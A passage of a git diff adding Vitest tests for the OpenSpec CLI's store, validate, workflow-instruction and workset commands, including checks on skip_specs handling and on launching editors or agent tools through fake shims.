mkdir('team-context'); + fs.mkdirSync(path.join(storeRoot, 'openspec', 'specs'), { recursive: true }); + fs.mkdirSync(path.join(storeRoot, 'openspec', 'changes'), { recursive: true }); + fs.writeFileSync(path.join(storeRoot, 'openspec', 'changes', 'archive'), 'not a dir\n'); + fs.writeFileSync(path.join(storeRoot, 'openspec', 'config.yaml'), `schema: ${DEFAULT_OPENSPEC_SCHEMA}\n`); + await writeStoreMetadataState(storeRoot, { version: 1, id: 'team-context' }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'team-context': { + backend: { + type: 'git', + local_path: storeRoot, + }, + }, + }, + }, + { globalDataDir } + ); + + const result = await runCLI(['store', 'doctor', 'team-context', '--json'], { + cwd: tempDir, + env, + }); + + expect(result.exitCode).toBe(0); + const store = parseJson(result).stores[0]; + expect(store.openspec_root.archive.present).toBe(false); + expect(store.openspec_root.status[0]).toEqual( + expect.objectContaining({ + code: 'openspec_archive_not_directory', + }) + ); + expect(fs.readFileSync(path.join(storeRoot, 'openspec', 'changes', 'archive'), 'utf-8')).toBe('not a dir\n'); + }); + + it('register errors are terminal: one-checkout rule, no circular fix texts', async () => { + // Register the original checkout. + const original = mkdir('team-context'); + createHealthyOpenSpecRoot(original); + await writeStoreMetadataState(original, { version: 1, id: 'team-context' }); + const first = await runCLI(['store', 'register', original, '--json'], { + cwd: tempDir, + env, + }); + expect(first.exitCode).toBe(0); + + // A second checkout with the same committed id is refused with the + // one-checkout rule and the unregister escape — never "choose a + // different id". + const secondCheckout = mkdir('elsewhere/team-context'); + createHealthyOpenSpecRoot(secondCheckout); + await writeStoreMetadataState(secondCheckout, { version: 1, id: 'team-context' }); + const conflict = await runCLI(['store', 'register', secondCheckout, '--json'], { + cwd: tempDir, + env, + }); + expect(conflict.exitCode).toBe(1); + const conflictStatus = parseJson(conflict).status[0]; + expect(conflictStatus.code).toBe('store_id_conflict'); + expect(conflictStatus.message).toContain('One checkout per store id'); + expect(conflictStatus.message).toContain(expectedExistingPath(original)); + expect(conflictStatus.fix).toContain('openspec store unregister team-context'); + expect(conflictStatus.fix).not.toContain('different store id'); + + // Mismatched --id when the metadata id is already registered elsewhere: + // the fix names the one-checkout rule instead of pointing back at the + // already-registered error. + const mismatchRegistered = await runCLI( + ['store', 'register', secondCheckout, '--id', 'team-context-2', '--json'], + { cwd: tempDir, env } + ); + expect(mismatchRegistered.exitCode).toBe(1); + const mismatchRegisteredStatus = parseJson(mismatchRegistered).status[0]; + expect(mismatchRegisteredStatus.code).toBe('store_metadata_id_mismatch'); + expect(mismatchRegisteredStatus.fix).toContain('One checkout per store id'); + expect(mismatchRegisteredStatus.fix).toContain('unregister team-context'); + expect(mismatchRegisteredStatus.fix).not.toContain('Use --id team-context or'); + + // Mismatched --id when the metadata id is free: the plain fix applies. + const freeRoot = mkdir('free-context'); + createHealthyOpenSpecRoot(freeRoot); + await writeStoreMetadataState(freeRoot, { version: 1, id: 'free-context' }); + const mismatchFree = await runCLI( + ['store', 'register', freeRoot, '--id', 'wrong-id', '--json'], + { cwd: tempDir, env } + ); + expect(mismatchFree.exitCode).toBe(1); + const mismatchFreeStatus = parseJson(mismatchFree).status[0]; + expect(mismatchFreeStatus.code).toBe('store_metadata_id_mismatch'); + expect(mismatchFreeStatus.fix).toContain('Use --id free-context'); + }); + + // Built by concatenation so the vocabulary sweep never matches this file. + const RETIRED_GROUP = 'context' + '-store'; + const OLD_DATA_DIR_NAME = `${RETIRED_GROUP}s`; + + describe('committed format and data dir guards', () => { + + it('pins the committed store metadata literals and the stores data dir', async () => { + const storeRoot = mkdir('pin-context'); + const result = await runCLI( + ['store', 'setup', 'pin-context', '--path', storeRoot, '--no-init-git', '--json'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(0); + expect(fs.existsSync(path.join(storeRoot, '.openspec-store', 'store.yaml'))).toBe(true); + expect(fs.existsSync(path.join(getStoresDir({ globalDataDir }), 'registry.yaml'))).toBe( + true + ); + expect(fs.existsSync(path.join(globalDataDir, OLD_DATA_DIR_NAME))).toBe(false); + }); + + it('registers a store repo created before the rename', async () => { + // The committed store format predates the rename. The fixture writes + // the exact pre-rename bytes inline (not via the current writer), so + // this fails if the on-disk contract ever drifts. + const storeRoot = mkdir('pre-rename-context'); + createHealthyOpenSpecRoot(storeRoot); + const metadataDir = path.join(storeRoot, '.openspec-store'); + fs.mkdirSync(metadataDir, { recursive: true }); + fs.writeFileSync( + path.join(metadataDir, 'store.yaml'), + 'version: 1\nid: pre-rename-context\n' + ); + + const result = await runCLI(['store', 'register', storeRoot, '--json'], { + cwd: tempDir, + env, + }); + + expect(result.exitCode).toBe(0); + expect(parseJson(result).store).toEqual( + expect.objectContaining({ id: 'pre-rename-context' }) + ); + }); + + it('ignores old data-dir registries instead of reading or migrating them', async () => { + const oldDir = path.join(globalDataDir, OLD_DATA_DIR_NAME); + fs.mkdirSync(oldDir, { recursive: true }); + const oldRegistry = path.join(oldDir, 'registry.yaml'); + fs.writeFileSync( + oldRegistry, + 'version: 1\nstores:\n ghost-context:\n path: /tmp/ghost\n' + ); + + const valid = await runCLI(['store', 'list', '--json'], { cwd: tempDir, env }); + expect(valid.exitCode).toBe(0); + expect(parseJson(valid).stores).toEqual([]); + + fs.writeFileSync(oldRegistry, ':[ not yaml at all'); + const corrupt = await runCLI(['store', 'list', '--json'], { cwd: tempDir, env }); + expect(corrupt.exitCode).toBe(0); + expect(parseJson(corrupt).stores).toEqual([]); + + // The old dir is neither cleaned up nor migrated. + expect(fs.readFileSync(oldRegistry, 'utf-8')).toBe(':[ not yaml at all'); + }); + }); + + describe('store group surface', () => { + it('hints lifecycle attempts under the store group at --store', async () => { + const result = await runCLI(['store', 'new', 'change', 'billing-rework'], { + cwd: tempDir, + env, + }); + + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain("unknown command 'new' for 'openspec store'"); + expect(result.stderr).toContain( + 'setup, register, unregister, remove, list (ls), doctor' + ); + expect(result.stderr).toContain('openspec new change billing-rework --store <id>'); + }); + + it('never suggests an invalid command for partial new invocations', async () => { + const result = await runCLI(['store', 'new', 'my-change'], { cwd: tempDir, env }); + + expect(result.exitCode).toBe(1); + // 'new my-change' would be invalid; the hint falls back to the full form. + expect(result.stderr).toContain('openspec new change <change-id> --store <id>'); + expect(result.stderr).not.toContain('openspec new my-change'); + }); + + it('falls back to the generic example when flags interleave operands', async () => { + const result = await runCLI( + ['store', 'new', '--schema', 'core', 'change', 'billing-rework'], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain('openspec new change <change-id> --store <id>'); + expect(result.stderr).not.toContain('core'); + }); + + it('emits one JSON status document for --json invocations', async () => { + const result = await runCLI(['store', 'bogus', '--json'], { cwd: tempDir, env }); + + expect(result.exitCode).toBe(1); + const payload = JSON.parse(result.stdout); + expect(payload.status[0]).toEqual( + expect.objectContaining({ + code: 'unknown_store_subcommand', + message: expect.stringContaining("Unknown command 'bogus'"), + }) + ); + }); + + it('emits one JSON status document for a bare store --json (no subcommand)', async () => { + const result = await runCLI(['store', '--json'], { cwd: tempDir, env }); + + expect(result.exitCode).toBe(1); + const payload = JSON.parse(result.stdout); + expect(payload.status[0]).toEqual( + expect.objectContaining({ + code: 'unknown_store_subcommand', + message: expect.stringContaining('Missing subcommand'), + }) + ); + }); + + it('keeps no alias for the retired group name', async () => { + const result = await runCLI([RETIRED_GROUP, 'list'], { cwd: tempDir, env }); + + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain(`unknown command '${RETIRED_GROUP}'`); + }); + + it('lists store in --help with the locked one-liner and no retired group', async () => { + const result = await runCLI(['--help'], { cwd: tempDir, env }); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain('Create and manage stores - standalone'); + expect(result.stdout).not.toContain(RETIRED_GROUP); + }); + }); + +}); diff --git a/test/commands/validate.enriched-output.test.ts b/test/commands/validate.enriched-output.test.ts index ebb4eccb2b..5ecb7c4903 100644 --- a/test/commands/validate.enriched-output.test.ts +++ b/test/commands/validate.enriched-output.test.ts @@ -1,7 +1,7 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { promises as fs } from 'fs'; import path from 'path'; -import { execSync } from 'child_process'; +import { execFileSync } from 'child_process'; describe('validate command enriched human output', () => { const projectRoot = process.cwd(); @@ -31,7 +31,7 @@ describe('validate command enriched human output', () => { let code = 0; let stderr = ''; try { - execSync(`node ${bin} change validate ${changeId}`, { encoding: 'utf-8', stdio: 'pipe' }); + execFileSync('node', [bin, 'change', 'validate', changeId], { encoding: 'utf-8', stdio: 'pipe' }); } catch (e: any) { code = e?.status ?? 1; stderr = e?.stderr?.toString?.() ?? ''; diff --git a/test/commands/validate.test.ts b/test/commands/validate.test.ts index b94f72d351..f3db80e486 100644 --- a/test/commands/validate.test.ts +++ b/test/commands/validate.test.ts @@ -69,6 +69,48 @@ describe('top-level validate command', () => { expect(result.stderr).toContain('Nothing to validate. Try one of:'); }); + it('shows marker-specific next steps on a skip_specs conflict, not delta-authoring guidance', async () => { + const chDir = path.join(changesDir, 'marked-conflict'); + const strayDir = path.join(chDir, 'specs', 'notes'); + await fs.mkdir(strayDir, { recursive: true }); + await fs.writeFile(path.join(strayDir, 'spec.md'), '# headerless notes\n', 'utf-8'); + await fs.writeFile( + path.join(chDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n', + 'utf-8' + ); + + const result = await runCLI(['validate', 'marked-conflict', '--type', 'change'], { cwd: testDir }); + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain('delete the files under specs/'); + expect(result.stderr).not.toContain('Ensure change has deltas in specs/'); + }); + + it('leads with the metadata fix when the marker is unhonorable and no spec files exist', async () => { + const chDir = path.join(changesDir, 'marked-invalid'); + await fs.mkdir(chDir, { recursive: true }); + // skip_specs without the required schema field, and nothing under specs/: + // "delete the files" would describe files that don't exist. + await fs.writeFile(path.join(chDir, '.openspec.yaml'), 'skip_specs: true\n', 'utf-8'); + + const result = await runCLI(['validate', 'marked-invalid', '--type', 'change'], { cwd: testDir }); + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain('Fix .openspec.yaml so the skip_specs marker can be honored'); + expect(result.stderr).not.toContain('delete the files under specs/'); + }); + + it('keeps delta-authoring next steps for a plain zero-delta change', async () => { + // The generic no-deltas guidance itself mentions skip_specs; that string + // must not flip the footer into marker mode. + const chDir = path.join(changesDir, 'plain-empty'); + await fs.mkdir(chDir, { recursive: true }); + + const result = await runCLI(['validate', 'plain-empty', '--type', 'change'], { cwd: testDir }); + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain('Ensure change has deltas in specs/'); + expect(result.stderr).not.toContain('delete the files under specs/'); + }); + it('validates all with --all and outputs JSON summary', async () => { const result = await runCLI(['validate', '--all', '--json'], { cwd: testDir }); expect(result.exitCode).toBe(0); @@ -131,6 +173,59 @@ describe('top-level validate command', () => { expect(result.exitCode).toBe(0); }); + // #1182 — validate resolves a change by directory existence (matching + // status/instructions), not by requiring proposal.md. + const validDelta = [ + '## ADDED Requirements', + '### Requirement: Scaffolded change SHALL validate without a proposal', + 'The change SHALL validate by directory existence without a proposal file.', + '', + '#### Scenario: Validate scaffolded change', + '- **GIVEN** a change directory with no proposal.md', + '- **WHEN** openspec validate runs', + '- **THEN** the change resolves and its deltas are validated', + ].join('\n'); + + it('resolves and validates a scaffolded change without proposal.md (#1182)', async () => { + const changeDir = path.join(changesDir, 'scaffolded'); + const deltaDir = path.join(changeDir, 'specs', 'alpha'); + await fs.mkdir(deltaDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, '.openspec.yaml'), 'schema: spec-driven\n', 'utf-8'); + await fs.writeFile(path.join(deltaDir, 'spec.md'), validDelta, 'utf-8'); + + const result = await runCLI(['validate', 'scaffolded'], { cwd: testDir }); + expect(result.stderr).not.toContain('Unknown item'); + expect(result.exitCode).toBe(0); + }); + + it('a resolved-but-invalid proposal-less change exits non-zero, not "Unknown item" (#1182)', async () => { + // Resolves by directory existence, then fails validation (no deltas). + const changeDir = path.join(changesDir, 'scaffolded-empty'); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, '.openspec.yaml'), 'schema: spec-driven\n', 'utf-8'); + + const result = await runCLI(['validate', 'scaffolded-empty'], { cwd: testDir }); + expect(result.stderr).not.toContain('Unknown item'); + expect(result.exitCode).toBe(1); + }); + + it('includes a sole proposal-less change in --all (not "No items found") (#1182)', async () => { + const isoRoot = path.join(projectRoot, 'test-validate-iso-tmp'); + const isoChanges = path.join(isoRoot, 'openspec', 'changes'); + const deltaDir = path.join(isoChanges, 'only', 'specs', 'alpha'); + await fs.mkdir(deltaDir, { recursive: true }); + try { + await fs.writeFile(path.join(isoChanges, 'only', '.openspec.yaml'), 'schema: spec-driven\n', 'utf-8'); + await fs.writeFile(path.join(deltaDir, 'spec.md'), validDelta, 'utf-8'); + + const result = await runCLI(['validate', '--all'], { cwd: isoRoot }); + expect(result.stdout + result.stderr).not.toContain('No items found to validate'); + expect(result.exitCode).toBe(0); + } finally { + await fs.rm(isoRoot, { recursive: true, force: true }); + } + }); + it('respects --no-interactive flag passed via CLI', async () => { // This test ensures Commander.js --no-interactive flag is correctly parsed // and passed to the validate command. The flag sets options.interactive = false diff --git a/test/commands/workflow-instructions-skipped.test.ts b/test/commands/workflow-instructions-skipped.test.ts new file mode 100644 index 0000000000..5b90be8239 --- /dev/null +++ b/test/commands/workflow-instructions-skipped.test.ts @@ -0,0 +1,157 @@ +import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'; +import * as fs from 'node:fs'; +import * as path from 'node:path'; +import * as os from 'node:os'; +import { + loadChangeContext, + generateInstructions, + formatChangeStatus, +} from '../../src/core/artifact-graph/instruction-loader.js'; +import { + printInstructionsText, + generateApplyInstructions, +} from '../../src/commands/workflow/instructions.js'; +import { printStatusText } from '../../src/commands/workflow/status.js'; + +describe('printInstructionsText for skip_specs changes', () => { + let tempDir: string; + + beforeEach(() => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-test-')); + const changeDir = path.join(tempDir, 'openspec', 'changes', 'my-change'); + fs.mkdirSync(changeDir, { recursive: true }); + fs.writeFileSync(path.join(changeDir, 'proposal.md'), '# Proposal'); + fs.writeFileSync( + path.join(changeDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true }); + vi.restoreAllMocks(); + }); + + function capture(artifactId: string): string { + const lines: string[] = []; + vi.spyOn(console, 'log').mockImplementation((...args: unknown[]) => { + lines.push(args.join(' ')); + }); + const context = loadChangeContext(tempDir, 'my-change'); + const instructions = generateInstructions(context, artifactId); + const isBlocked = instructions.dependencies.some((d) => !d.done); + printInstructionsText(instructions, isBlocked); + vi.restoreAllMocks(); + return lines.join('\n'); + } + + it('emits only the warning for a skipped artifact, no creation directive', () => { + const output = capture('specs'); + + expect(output).toContain('skip_specs: true'); + expect(output).toContain('Do not create spec files'); + expect(output).toContain('</artifact>'); + expect(output).not.toContain('<task>'); + expect(output).not.toContain('<template>'); + expect(output).not.toContain('Write to:'); + }); + + it('keeps the normal creation directive for non-skipped artifacts', () => { + const output = capture('design'); + + expect(output).toContain('<task>'); + expect(output).toContain('Create the design artifact for change "my-change".'); + expect(output).not.toContain('this artifact is skipped'); + }); + + it('carries skipped and warning in the JSON-facing payload', () => { + const context = loadChangeContext(tempDir, 'my-change'); + const instructions = generateInstructions(context, 'specs'); + + expect(instructions.skipped).toBe(true); + expect(instructions.warning).toContain('Do not create spec files'); + }); + + it('marks the specs dependency as skipped instead of done with files to read', () => { + const context = loadChangeContext(tempDir, 'my-change'); + const tasksInstructions = generateInstructions(context, 'tasks'); + const specsDep = tasksInstructions.dependencies.find((d) => d.id === 'specs'); + expect(specsDep?.skipped).toBe(true); + + const output = capture('tasks'); + expect(output).toContain('<dependency id="specs" status="skipped">'); + expect(output).toContain('no files to read'); + // The skipped dependency must not point the agent at spec file paths. + expect(output).not.toContain('specs/**/*.md</path>'); + }); + + it('renders the specs stage as skipped in status text with a reduced denominator', () => { + const lines: string[] = []; + vi.spyOn(console, 'log').mockImplementation((...args: unknown[]) => { + lines.push(args.join(' ')); + }); + const context = loadChangeContext(tempDir, 'my-change'); + printStatusText(formatChangeStatus(context)); + vi.restoreAllMocks(); + const output = lines.join('\n'); + + expect(output).toContain('Progress: 1/3 artifacts complete (1 skipped)'); + expect(output).toContain('[~] specs (skipped: change declares skip_specs)'); + expect(output).toContain('[x] proposal'); + }); +}); + +describe('generateApplyInstructions for skip_specs changes', () => { + let tempDir: string; + + beforeEach(() => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-test-')); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + it('does not block apply on a skipped artifact when the schema requires all artifacts', async () => { + // A schema with no apply block falls back to requiring every artifact, + // including the specs-producing one - the skip must count as present. + const schemaDir = path.join(tempDir, 'openspec', 'schemas', 'mini'); + fs.mkdirSync(schemaDir, { recursive: true }); + fs.writeFileSync( + path.join(schemaDir, 'schema.yaml'), + [ + 'name: mini', + 'version: 1', + 'artifacts:', + ' - id: proposal', + ' generates: proposal.md', + ' description: p', + ' template: proposal.md', + ' - id: specs', + ' generates: "specs/**/*.md"', + ' description: s', + ' template: spec.md', + ' requires: [proposal]', + ' - id: tasks', + ' generates: tasks.md', + ' description: t', + ' template: tasks.md', + ' requires: [specs]', + '', + ].join('\n') + ); + const changeDir = path.join(tempDir, 'openspec', 'changes', 'my-change'); + fs.mkdirSync(changeDir, { recursive: true }); + fs.writeFileSync(path.join(changeDir, 'proposal.md'), '# Proposal'); + fs.writeFileSync(path.join(changeDir, 'tasks.md'), '## 1. W\n\n- [ ] 1.1 Do\n'); + fs.writeFileSync( + path.join(changeDir, '.openspec.yaml'), + 'schema: mini\nskip_specs: true\n' + ); + + const instructions = await generateApplyInstructions(tempDir, 'my-change'); + + expect(instructions.missingArtifacts ?? []).not.toContain('specs'); + expect(instructions.state).not.toBe('blocked'); + }); +}); diff --git a/test/commands/workset.test.ts b/test/commands/workset.test.ts new file mode 100644 index 0000000000..e1ad7321e9 --- /dev/null +++ b/test/commands/workset.test.ts @@ -0,0 +1,1064 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { EventEmitter } from 'node:events'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { getGlobalDataDir } from '../../src/core/global-config.js'; +import { + getWorksetCodeWorkspacePath, + getWorksetsFilePath, +} from '../../src/core/worksets.js'; +import { + exitCodeForLaunch, + launchOpenerCommand, +} from '../../src/commands/workset.js'; +import { runCLI, type RunCLIResult } from '../helpers/run-cli.js'; +import { createFakeTool, envWithFakeTools, readLaunchLog } from '../helpers/fake-tool.js'; +import { snapshotDirectory as snapshot } from '../helpers/fs-snapshot.js'; +import { cleanupTempPath } from '../helpers/temp-cleanup.js'; + +describe('openspec workset (7.1)', () => { + let tempDir: string; + let globalDataDir: string; + let env: NodeJS.ProcessEnv; + let memberA: string; + let memberB: string; + let memberC: string; + + beforeEach(() => { + // These suites assert the CLI-agent (attach-dirs) open behavior, which + // is gated off by default; enable it for the legacy coverage. The + // disabled-by-default path is covered in its own describe below. + process.env.OPENSPEC_ENABLE_CLI_AGENT_OPENERS = '1'; + tempDir = fs.realpathSync.native( + fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-workset-')) + ); + env = { + XDG_DATA_HOME: path.join(tempDir, 'data'), + XDG_CONFIG_HOME: path.join(tempDir, 'config'), + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + // Fully controlled PATH: node (for the fake-tool shims) plus + // whatever fakes each test prepends. Real editors/agents on the + // host machine must never be reachable from these tests. + PATH: path.dirname(process.execPath), + }; + globalDataDir = getGlobalDataDir({ env }); + + memberA = path.join(tempDir, 'team-context'); + memberB = path.join(tempDir, 'web-app'); + memberC = path.join(tempDir, 'api'); + for (const dir of [memberA, memberB, memberC]) { + fs.mkdirSync(dir, { recursive: true }); + fs.writeFileSync(path.join(dir, 'marker.txt'), `marker for ${dir}\n`); + } + }); + + afterEach(() => { + delete process.env.OPENSPEC_ENABLE_CLI_AGENT_OPENERS; + cleanupTempPath(tempDir); + }); + + function parseJson(result: RunCLIResult): any { + return JSON.parse(result.stdout); + } + + const pathOptions = () => ({ globalDataDir }); + + async function createPlatform(extra: string[] = []): Promise<RunCLIResult> { + return runCLI( + [ + 'workset', + 'create', + 'platform', + '--member', + memberA, + '--member', + memberB, + '--member', + memberC, + ...extra, + '--json', + ], + { cwd: tempDir, env } + ); + } + + function writeOpenersConfig(openers: unknown): void { + const configDir = path.join(env.XDG_CONFIG_HOME!, 'openspec'); + fs.mkdirSync(configDir, { recursive: true }); + fs.writeFileSync( + path.join(configDir, 'config.json'), + JSON.stringify({ openers }, null, 2) + ); + } + + describe('CLI-agent openers are disabled by default', () => { + beforeEach(() => { + delete process.env.OPENSPEC_ENABLE_CLI_AGENT_OPENERS; + }); + + it('refuses to open a workset in a CLI agent, pointing at an IDE', async () => { + await createPlatform(); + const result = await runCLI( + ['workset', 'open', 'platform', '--tool', 'claude'], + { cwd: tempDir, env } + ); + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain('temporarily disabled'); + expect(result.stderr).toContain('--tool code'); + }); + + it('refuses to save a CLI agent as a workset tool', async () => { + const result = await runCLI( + ['workset', 'create', 'cli-x', '--member', memberA, '--tool', 'codex'], + { cwd: tempDir, env } + ); + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain('temporarily disabled'); + }); + + it('never presents a CLI agent as a known tool', async () => { + await createPlatform(); + const result = await runCLI( + ['workset', 'open', 'platform', '--tool', 'nope'], + { cwd: tempDir, env } + ); + expect(result.stderr).toContain('Known tools: code, cursor'); + expect(result.stderr).not.toMatch(/claude|codex/); + }); + }); + + describe('create', () => { + it('saves an ordered workset and emits the JSON envelope', async () => { + const result = await runCLI( + [ + 'workset', + 'create', + 'ci', + '--member', + memberA, + '--member', + `runner=${memberB}`, + '--tool', + 'codex', + '--json', + ], + { cwd: tempDir, env } + ); + + expect(result.exitCode).toBe(0); + expect(parseJson(result)).toEqual({ + workset: { + name: 'ci', + tool: 'codex', + members: [ + { name: 'team-context', path: memberA }, + { name: 'runner', path: memberB }, + ], + }, + status: [], + }); + expect(fs.existsSync(getWorksetsFilePath(pathOptions()))).toBe(true); + }); + + it('rejects a duplicate name with the remove fix and one JSON document', async () => { + await createPlatform(); + const result = await createPlatform(); + + expect(result.exitCode).toBe(1); + const payload = parseJson(result); + expect(payload.workset).toBeNull(); + expect(payload.status[0].code).toBe('workset_exists'); + expect(payload.status[0].fix).toBe( + 'Choose another name, or remove it first: openspec workset remove platform' + ); + }); + + it('requires members, a name, and existing folders non-interactively', async () => { + const noMembers = await runCLI( + ['workset', 'create', 'empty', '--json'], + { cwd: tempDir, env } + ); + expect(noMembers.exitCode).toBe(1); + expect(parseJson(noMembers).status[0].code).toBe( + 'workset_members_required' + ); + expect(parseJson(noMembers).status[0].fix).toBe( + 'openspec workset create empty --member <path> --member <name>=<path>' + ); + + const noName = await runCLI( + ['workset', 'create', '--member', memberA, '--json'], + { cwd: tempDir, env } + ); + expect(noName.exitCode).toBe(1); + expect(parseJson(noName).status[0].code).toBe('workset_name_required'); + + const missing = await runCLI( + [ + 'workset', + 'create', + 'ghost', + '--member', + path.join(tempDir, 'absent'), + '--json', + ], + { cwd: tempDir, env } + ); + expect(missing.exitCode).toBe(1); + expect(parseJson(missing).status[0].code).toBe('workset_member_invalid'); + expect(fs.existsSync(getWorksetsFilePath(pathOptions()))).toBe(false); + }); + + it('rejects grammar-invalid names and duplicate member labels', async () => { + const badName = await runCLI( + ['workset', 'create', 'My Stuff', '--member', memberA, '--json'], + { cwd: tempDir, env } + ); + expect(badName.exitCode).toBe(1); + expect(parseJson(badName).status[0].code).toBe('invalid_workset_name'); + + const duplicated = path.join(tempDir, 'nested', 'web-app'); + fs.mkdirSync(duplicated, { recursive: true }); + const collision = await runCLI( + [ + 'workset', + 'create', + 'dup', + '--member', + memberB, + '--member', + duplicated, + '--json', + ], + { cwd: tempDir, env } + ); + expect(collision.exitCode).toBe(1); + const status = parseJson(collision).status[0]; + expect(status.code).toBe('workset_member_invalid'); + expect(status.message).toContain("duplicate member name 'web-app'"); + expect(status.fix).toContain('<name>=<path>'); + }); + + it('rejects an unknown --tool against the merged table', async () => { + const result = await createPlatform(['--tool', 'emacs']); + + expect(result.exitCode).toBe(1); + const status = parseJson(result).status[0]; + expect(status.code).toBe('workset_tool_unknown'); + expect(status.fix).toContain('code, cursor, claude, codex'); + }); + + it('never writes into member folders', async () => { + const before = snapshot(memberA); + await createPlatform(['--tool', 'claude']); + await runCLI(['workset', 'list', '--json'], { cwd: tempDir, env }); + await runCLI(['workset', 'remove', 'platform', '--yes', '--json'], { + cwd: tempDir, + env, + }); + + expect(snapshot(memberA)).toEqual(before); + }); + }); + + describe('list', () => { + it('shows saved views at a glance and sorts JSON by name', async () => { + await createPlatform(['--tool', 'claude']); + await runCLI( + ['workset', 'create', 'alpha', '--member', memberC, '--json'], + { cwd: tempDir, env } + ); + + const json = await runCLI(['workset', 'list', '--json'], { + cwd: tempDir, + env, + }); + const payload = parseJson(json); + expect(payload.status).toEqual([]); + expect(payload.worksets.map((w: { name: string }) => w.name)).toEqual([ + 'alpha', + 'platform', + ]); + expect(payload.worksets[1].tool).toBe('claude'); + + const human = await runCLI(['workset', 'list'], { cwd: tempDir, env }); + expect(human.stdout).toContain('platform (opens in Claude Code)'); + expect(human.stdout).toContain(memberA); + }); + + it('says so plainly when nothing is saved', async () => { + const human = await runCLI(['workset', 'list'], { cwd: tempDir, env }); + expect(human.stdout).toContain( + 'No worksets saved. Create one with: openspec workset create' + ); + + const json = await runCLI(['workset', 'list', '--json'], { + cwd: tempDir, + env, + }); + expect(parseJson(json)).toEqual({ worksets: [], status: [] }); + }); + }); + + describe('remove', () => { + it('requires --yes non-interactively and removes only workset state', async () => { + await createPlatform(); + + const refused = await runCLI(['workset', 'remove', 'platform', '--json'], { + cwd: tempDir, + env, + }); + expect(refused.exitCode).toBe(1); + expect(parseJson(refused).status[0].code).toBe( + 'workset_remove_confirmation_required' + ); + expect(parseJson(refused).status[0].fix).toBe( + 'openspec workset remove platform --yes' + ); + + const removed = await runCLI( + ['workset', 'remove', 'platform', '--yes', '--json'], + { cwd: tempDir, env } + ); + expect(removed.exitCode).toBe(0); + expect(parseJson(removed)).toEqual({ + removed: { name: 'platform' }, + status: [], + }); + expect(fs.existsSync(memberA)).toBe(true); + }); + + it('cleans up a generated file and tolerates its absence', async () => { + await createPlatform(['--tool', 'code']); + const fakeCode = createFakeTool(tempDir, 'code'); + await runCLI(['workset', 'open', 'platform'], { + cwd: tempDir, + env: envWithFakeTools(env, [fakeCode]), + }); + const generated = getWorksetCodeWorkspacePath('platform', pathOptions()); + expect(fs.existsSync(generated)).toBe(true); + + const removed = await runCLI( + ['workset', 'remove', 'platform', '--yes', '--json'], + { cwd: tempDir, env } + ); + expect(removed.exitCode).toBe(0); + expect(fs.existsSync(generated)).toBe(false); + + // Never opened: no generated file to delete; removal succeeds the same way. + await createPlatform(); + const neverOpened = await runCLI( + ['workset', 'remove', 'platform', '--yes', '--json'], + { cwd: tempDir, env } + ); + expect(neverOpened.exitCode).toBe(0); + }); + + it('reports unknown names with saved names or the create command', async () => { + const noneSaved = await runCLI(['workset', 'remove', 'ghost', '--json'], { + cwd: tempDir, + env, + }); + expect(parseJson(noneSaved).status[0].code).toBe('workset_not_found'); + expect(parseJson(noneSaved).status[0].fix).toBe( + 'Create it first: openspec workset create ghost' + ); + + await createPlatform(); + const someSaved = await runCLI(['workset', 'remove', 'ghost', '--json'], { + cwd: tempDir, + env, + }); + expect(parseJson(someSaved).status[0].fix).toBe( + 'Saved worksets: platform. See them with: openspec workset list' + ); + }); + }); + + describe('open', () => { + it('workspace-file style: regenerates the file and launches with it', async () => { + await createPlatform(['--tool', 'code']); + const fakeCode = createFakeTool(tempDir, 'code'); + + const result = await runCLI(['workset', 'open', 'platform'], { + cwd: tempDir, + env: envWithFakeTools(env, [fakeCode]), + }); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain( + "Opening 'platform' in VS Code (a window opens; this command returns)." + ); + + const generated = getWorksetCodeWorkspacePath('platform', pathOptions()); + expect(JSON.parse(fs.readFileSync(generated, 'utf-8'))).toEqual({ + folders: [ + { name: 'team-context', path: memberA }, + { name: 'web-app', path: memberB }, + { name: 'api', path: memberC }, + ], + }); + expect(fs.readFileSync(generated, 'utf-8')).toMatch(/\n$/); + + const launch = readLaunchLog(fakeCode.logPath); + expect(launch.args).toEqual([generated]); + expect(fs.realpathSync.native(launch.cwd)).toBe(memberA); + }); + + it('attach-dirs style: one attach pair per member, the primary included, no positional', async () => { + await createPlatform(['--tool', 'claude']); + const fakeClaude = createFakeTool(tempDir, 'claude'); + + const result = await runCLI(['workset', 'open', 'platform'], { + cwd: tempDir, + env: envWithFakeTools(env, [fakeClaude]), + }); + + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain( + "Handing this terminal to Claude Code for 'platform' (the session ends when you exit)." + ); + const launch = readLaunchLog(fakeClaude.logPath); + expect(launch.args).toEqual([ + '--add-dir', + memberA, + '--add-dir', + memberB, + '--add-dir', + memberC, + ]); + expect(fs.realpathSync.native(launch.cwd)).toBe(memberA); + }); + + it('codex carries its sandbox pre-args; a single member attaches itself', async () => { + await runCLI( + ['workset', 'create', 'solo', '--member', memberA, '--tool', 'codex', '--json'], + { cwd: 